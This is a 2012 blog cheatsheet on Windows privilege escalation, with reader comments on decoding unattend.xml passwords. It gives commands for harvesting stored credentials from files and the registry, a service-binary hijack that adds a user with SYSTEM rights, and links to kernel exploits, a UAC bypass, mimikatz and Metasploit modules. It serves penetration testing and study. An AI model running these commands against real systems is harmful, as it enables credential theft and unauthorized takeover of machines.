17th April 2012

Windows Privilege Escalation - a cheatsheet

This is a work in progress. Additions, suggestions and constructive feedback are welcome.

The purpose of these cheatsheets is to, essentially, save time during an attack and study session.

Last modified: Fri Jul 20 12:20:34 EST 2012

Stored credentials

Search for credentials within:

c:\unattend.xml

Unattend credentials are stored in base64 and can be decoded manually with base64:

user@host $ base64 -d cABhAHMAcwB3AG8AcgBkAFAAYQBzAHMAdwBvAHIAZAA=

Metasploit Framework enum_unattend module and gather credentials module:

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb

[http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb]

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb

[http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb]

c:\sysprep.inf

c:\sysprep\sysprep.xml

*dir c:*vnc.ini /s /b*

*dir c:*ultravnc.ini /s /b*

*dir c:\ /s /b | findstr /si *vnc.ini*

*findstr /si password *.txt | *.xml | *.ini*

*findstr /si pass *.txt | *.xml | *.ini*

Password recovery programs - small - RDP, Mail, IE, VNC, Dialup, Protected Storage...

http://www.nirsoft.net/password_recovery_tools.html [http://www.nirsoft.net/password_recovery_tools.html]

Dumping cleartext credentials with mimikatz

http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html [http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html]

Query the Windows Registry

VNC Stored:

reg query "HKCU\Software\ORL\WinVNC3\Password"

Windows Autologin:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

SNMP Parameters:

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

Putty clear text proxy credentials:

reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"

Search the registry - copy (pipe) to the clipboard (optional)

reg query HKLM /f password /t REG_SZ /s [|clip]

reg query HKCU /f password /t REG_SZ /s [|clip]

Insecure GUI apps

running as SYSTEM that can open cmd.exe or directories "files, logfiles" etc.

Directory permissions

cacls

icacls

Sysinternals tools

Check processes and start-up applications with Autoruns and procmon - sysinternals.com

http://technet.microsoft.com/en-us/sysinternals/bb545027 [http://technet.microsoft.com/en-us/sysinternals/bb545027]

Services pointing to writeable locations

*- orphaned installs - applications not installed that still exist in startup

*- replacing unknown dlls

*- PATH directories with weak permissions - overwrites possible?

sysinternals tools

*accesschk.exe -uwcqv **

*- unsecured processes

*- steal process/thread tokens (a'la incognito)

*- hijack handles for write access

Change the upnp service binary

http://lanmaster53.com [http://lanmaster53.com/]

sc qc upnphostsc config upnphost binpath= "net user <username> /add"

sc config upnphost obj= ".\LocalSystem" password =""

net stop upnphost

net start upnphost

May work with other services if permissions permit

Vulnerability Privilege Escalation

Windows kernel privilege escalation
KiTrap0D

http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip [http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip]

Tomcat Windows privilege escalation

http://www.abysssec.com/blog/2008/11/27/tomcat-jrun-privilege-escalation-windows [http://www.abysssec.com/blog/2008/11/27/tomcat-jrun-privilege-escalation-windows]

NtGdiEnableEudc Exploit (MS11-011) - windows XP SP0-3

16262,platforms/windows/dos/16262.,"MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC",2011-03-01,"Nikita Tarakanov",windows,dos,0

http://www.securityfocus.com/bid/46136/exploit [http://www.securityfocus.com/bid/46136/exploit]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0045 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0045]

http://downloads.securityfocus.com/vulnerabilities/exploits/46136.c [http://downloads.securityfocus.com/vulnerabilities/exploits/46136.c]

http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html [http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html]

http://www.microsoft.com/technet/security/Bulletin/MS11-011.mspx [http://www.microsoft.com/technet/security/Bulletin/MS11-011.mspx]

Service Tracing Key (MS10-059)

http://www.securityfocus.com/bid/42269/exploit [http://www.securityfocus.com/bid/42269/exploit]

http://www.argeniss.com/research/ARGENISS-ADV-081002.txt [http://www.argeniss.com/research/ARGENISS-ADV-081002.txt]

http://www.securityfocus.com/data/vulnerabilities/exploits/Chimichurri.zip [http://www.securityfocus.com/data/vulnerabilities/exploits/Chimichurri.zip]

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2554 [http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2554]

Registry Symlink Vuln (MS10-021)

No Public Exploit - VuPEN membership only

Ryujin - ADF.sys priv esc - ms11-080

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2005 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2005]

http://www.exploit-db.com/exploits/18176 [http://www.exploit-db.com/exploits/18176]

pyinstaller - http://www.pyinstaller.org/ [http://www.pyinstaller.org/]
py2exe - http://www.py2exe.org/ [http://www.py2exe.org/]

UAC Bypass priv esc

http://www.exploit-db.com/exploits/15609 [http://www.exploit-db.com/exploits/15609]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4398 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4398]

http://www.microsoft.com/technet/security/Bulletin/MS11-011.mspx [http://www.microsoft.com/technet/security/Bulletin/MS11-011.mspx]

http://www.securityfocus.com/bid/45045/info [http://www.securityfocus.com/bid/45045/info]

Additional References and sources and other links:
Encyclopaedia of Windows Privilege escalation - Brett Moor
http://www.ruxcon.org.au/2011-talks/encyclopaedia-of-windows-privilege-escalation/ [http://www.ruxcon.org.au/2011-talks/encyclopaedia-of-windows-privilege-escalation/]

Posted 17th April 2012 by Tim Arneaud

Labels: cheatsheet, exploit, priv esc, privilege escalation, security, sysinternals, windows

4 View comments

sean Wednesday, 9 May 2012 at 14:41:00 BST

Thanks for putting this list together, Tim! You know how WinPE will store a local admin password in an answer file (unattend.xml) in an encrypted form...do you know of any tools/techniques for cracking these hashes? I've scoured various forums and Microsoft documentation and I can't even find the algorithm that's used...

Reply

ovid Monday, 14 May 2012 at 02:14:00 BST

Hi Sean,
Thanks for your comment. I wasn't able to locate anything definitive, either. It seems that many tend to overlook hashing passwords and leave it in plain text (hence why it is here in this sheet).
It was pointed out that the password was not encrypted but hashed and that it was easy to crack; although when I investigated, the hash wasn't able to be identified by the tools i tried.
In time, it might be worth following up on this sometime as it is a file that is easily overlooked in deployments :)

Reply

Ben Campbell Wednesday, 18 July 2012 at 23:06:00 BST

Good list, I definitely need to save it :)

Unattend is just Base64?

Recent metasploit module retrieves and decodes it:

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb

Also you can gather creds from the DC group policy preferences on any domain member:

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb

Reply

Replies

ovid Friday, 20 July 2012 at 03:26:00 BST

Hi Ben,
Huh...good find! I *thought* I'd checked base64 but I guess not ^_^ Honestly, I haven't look that deeply into unattend, though.
From some of the example unattend.xml hashes I found online, base64 certainly decodes...
Thanks for the links and correction - cheatsheet now updated to include.

Reply

Enter your comment...

Comment as: Security Warric ▼ Sign out

Publish Preview Notify me